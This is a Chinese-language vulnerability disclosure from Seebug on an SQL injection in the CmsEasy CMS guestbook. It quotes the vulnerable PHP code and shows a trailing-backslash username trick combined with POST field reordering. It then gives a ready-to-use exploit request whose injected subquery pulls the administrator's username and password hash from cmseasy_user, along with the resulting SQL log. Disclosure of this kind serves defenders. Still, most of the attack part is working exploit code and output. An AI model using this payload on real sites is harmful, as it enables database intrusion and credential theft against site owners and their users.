Lucene search

K
seebugRootSSV:94013
HistoryJun 25, 2014 - 12:00 a.m.

Cmseasy SQL注射漏洞 2

2014-06-2500:00:00
Root
www.seebug.org
16

简要描述:

注入…无限制

详细说明:

front_class.php 对 username 做了限制 但是 忘了\转义符

if(preg_match('/(\'|")/', $_POST['username']) || preg_match('/(\'|")/', $_GET['username']) || preg_match('/(\'|")/', $_COOKIE['login_username'])){
    		exit('非法参数');
    	}

先看注册
user_act.php 289 行:

function register_action() {
        if(front::post('submit')) {
            if(!config::get('reg_on')) {
                front::flash(lang('网站已经关闭注册!'));
                return;
            }
            if(config::get('verifycode')) {
                if(!session::get('verify') ||front::post('verify') != session::get('verify')) {
                    front::flash(lang('验证码错误!'));
                    return;
                }
            }
            if(front::post('username') != strip_tags(front::post('username'))
                    ||front::post('username') != htmlspecialchars(front::post('username'))
            ) {
                front::flash(lang('用户名不规范!'));
                return;
            }
        省略 注册并没有太多的限制

我们注册一个 123123\的账户
再来看登陆的逻辑
user_act.php 176 行:
//这里登陆成功后 设置cookie 用的是post设置的 因为有转义的原因
cookie会变成 123123\ 我们手动设置一下就行了

function login_action() {
        if(!$this->loginfalsemaxtimes())
            if(front::post('submit')) {
                if(config::get('verifycode')) {
                    if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
                        front::flash(lang('验证码错误!')."<a href>".lang('backuppage')."</a>");
                        return;
                    }
                }
                if(front::post('username') &&front::post('password')) {
                    $username=front::post('username');
                    $password=md5(front::post('password'));
                    $data=array(
                            'username'=&gt;$username,
                            'password'=&gt;$password,
                    );
                    $user=new user();
                    $user=$user-&gt;getrow(array('username'=&gt;$data['username'],'password'=&gt;$data['password']));
                    if(!is_array($user)) {
                        $this-&gt;login_false();
                        return;
                    }
                    $user=$data;
                    cookie::set('login_username',$user['username']);
                    cookie::set('login_password',front::cookie_encode($user['password']));
                    session::set('username',$user['username']);
                    $this-&gt;view-&gt;from=front::post('from')?front::post('from'):front::$from;
                    front::flash($this-&gt;fetch('user/login_success.html'));
                    return;
                }
                else {
                    $this-&gt;login_false();
                    return;
                }
            }
            $this-&gt;view-&gt;ologinlist = ologin::getInstance()-&gt;getrows('',50);
    }

<img src=“https://images.seebug.org/upload/201406/251516181f1df1a631ba0d15e937acbf4618f20c.png” alt=“ddd2.png” width=“600”>

我们再来看留言功能
//检测是否登陆状态

function init() {
    	if(!config::get('guestbook_enable')){
    		alerterror('留言本功能已关闭');
    	}
        $user='';
        if(cookie::get('login_username') &&cookie::get('login_password')) {
            $user=new user();
            $user=$user-&gt;getrow(array('username'=&gt;cookie::get('login_username')));
        }
        $this-&gt;view-&gt;user=$user; //放入数据

guestbook_act.php 28-94行

function index_action() {
        $this-&gt;list_action();
        if(front::post('submit')) {
			if(!front::post('guesttel')) {
                front::flash(lang('请填写联系电话!'));
                return false;
            }
            if(!front::post('title')) {
                front::flash(lang('请填写标题!'));
                return false;
            }
            if(!front::post('content')) {
                front::flash(lang('请选择内容!'));
                return false;
            }
            if(config::get('verifycode')) {
                if(front::post('verify')&lt;&gt;session::get('verify')) {
                    front::flash(lang('验证码错误!'));
                    return false;
                }
            }
            front::$post['checked']=0;
            //关键就是这个了 如果user里面有数据的话 就用user的
              我们 存入是123123\ 在sql中 会把后面的转义掉
            if(empty($this-&gt;view-&gt;user)) {
                front::$post['userid']=0;
                front::$post['username']='游客:'.front::$post['nickname'];
            }else {
                front::$post['userid']=$this-&gt;view-&gt;user['userid'];
                front::$post['username']=$this-&gt;view-&gt;user['username'];
            }
            front::$post['adddate']=date('Y-m-d H:i:s');
            front::$post['ip']=front::ip();
			
            if (!get_magic_quotes_gpc()) {
                front::$post['content'] = front::$post['content'];
            }
            front::$post['title']=strip_tags(front::$post['title']);
            $data=front::$post;
            $insert=$this-&gt;_table-&gt;rec_insert($data);//组合语句并查询
            if($insert&lt;1) {
                front::flash(lang('留言失败!'));
            }
            else {
            	if(config::get('email_gust_send_cust') && front::$post['guestemail']){
            		$title = "您在".config::get('sitename')."的留言已提交";
            		$this-&gt;sendmail(front::$post['guestemail'], $title, $title);
            	}
            	if(config::get('email_guest_send_admin') && config::get('email')){
            		$title = '网站在' . date('Y-m-d H:i:s') . '有新留言了';
            		$this-&gt;sendmail(config::get('email'), $title, $title);
            	}
                if(config::get('sms_on') && config::get('sms_guestbook_on')){
                    sendMsg(front::$post['guesttel'],config::get('sms_guestbook'));
                }
                if(config::get('sms_on') && config::get('sms_guestbook_admin_on') && $mobile = config::get('site_mobile')){
                    sendMsg($mobile,front::$post['username'].'在'.date('Y-m-d H:i:s').'留言了');
                }
                
                front::flash(lang('留言成功!'));
                $this-&gt;view-&gt;submit_success=true;
                if(front::get('t') == 'wap'){
                	front::redirect(url::create('guestbook/index/t/wap/success/'.time()));
                }else{
                	front::redirect(url::create('guestbook/index/success/'.time()));
                }
            }
        }
    }

INSERT INTO cmseasy_guestbook(guesttel,guestemail,guestqq,title,content,userid,username,adddate) VALUES (‘123’,‘123123’,‘123123’,‘ss’,‘123213’,‘3’,'123123',‘2014-06-25 15:35:43’)
123123\ 为我们的用户名 可是后面没有可控的?
front::$post[‘userid’]=$this->view->user[‘userid’];
front::$post[‘username’]=$this->view->user[‘username’];
}
front::$post[‘adddate’]=date(‘Y-m-d H:i:s’);
front::$post[‘ip’]=front::ip();
他是这样写的 var_dump一下变量

array(13) {
  ["nickname"]=&gt;
  string(8) "11111111"
  ["guesttel"]=&gt;
  string(3) "123"
  ["guestemail"]=&gt;
  string(6) "123123"
  ["guestqq"]=&gt;
  string(6) "123123"
  ["title"]=&gt;
  string(2) "ss"
  ["content"]=&gt;
  string(6) "123213"
  ["verify"]=&gt;
  string(4) "3VTQ"
  ["submit"]=&gt;
  string(6) "提交"
  ["checked"]=&gt;
  int(0)
  ["userid"]=&gt;
  string(1) "3"
  ["username"]=&gt;
  string(10) "123123213\"
  ["adddate"]=&gt;
  string(19) "2014-06-25 15:39:36"
  ["ip"]=&gt;
  string(9) "125.0.1.5"
}

由于$_POST什么的本身就是数组 我们可以把顺序换一下.

["userid"]=&gt;
  string(1) "3"
  ["username"]=&gt;
  string(10) "123123213\"
  ["adddate"]=&gt;
  string(19) "2014-06-25 15:39:36"
  ["ip"]=&gt;
  string(9) "125.0.1.5"

这个为什么一直都在后面 因为他是最后赋值的 (重新创建了数组)
既然是这样我们之前先创建掉username这个变量。这样就有个位置了 再看

guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=il&content=123213&verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+
array(13) {
  ["guesttel"]=&gt;
  string(3) "123"
  ["nickname"]=&gt;
  string(8) "11111111"
  ["guestemail"]=&gt;
  string(6) "123123"
  ["guestqq"]=&gt;
  string(6) "123123"
  ["title"]=&gt;
  string(2) "ss"
  ["username"]=&gt;
  string(10) "123123213\"
  ["content"]=&gt;
  string(6) "123213"
  ["verify"]=&gt;
  string(4) "3VTQ"
  ["submit"]=&gt;
  string(6) "提交"
  ["checked"]=&gt;
  int(0)
  ["userid"]=&gt;
  string(1) "3"
  ["adddate"]=&gt;
  string(19) "2014-06-25 15:42:59"
  ["ip"]=&gt;
  string(9) "125.0.1.5"
}
INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES ('123','123123','123123','ss','123123213\','123213','3','2014-06-25 15:42:59')

由于 留言只回显 用户名和内容 我们修改内容~
exp:
guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=a&content=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+
SQL日志 :
INSERT INTO cmseasy_guestbook(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES (‘123’,‘123123’,‘123123’,‘ss’,‘123123213',’,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)#',‘3’,‘2014-06-25 15:49:18’)
list_action()查询留言数据 (模板中) 得登陆状态才显示
还有一点就是拼接数据的时候 他会查询表里的列 我们可以自己写其他的列。。
$data=front::$post;

漏洞证明:

<img src=“https://images.seebug.org/upload/201406/25160947f075837a4b1bd174bd5e74331b348f47.png” alt=“sql4.png” width=“600”>

<img src=“https://images.seebug.org/upload/201406/25161019f8b2f511a1ebe3367c0eb85dc3294a7c.png” alt=“3000.png” width=“600”>

<img src=“https://images.seebug.org/upload/201406/25161437c81898b4fdedcc2bee4a576219ed7979.png” alt=“s3.png” width=“600”>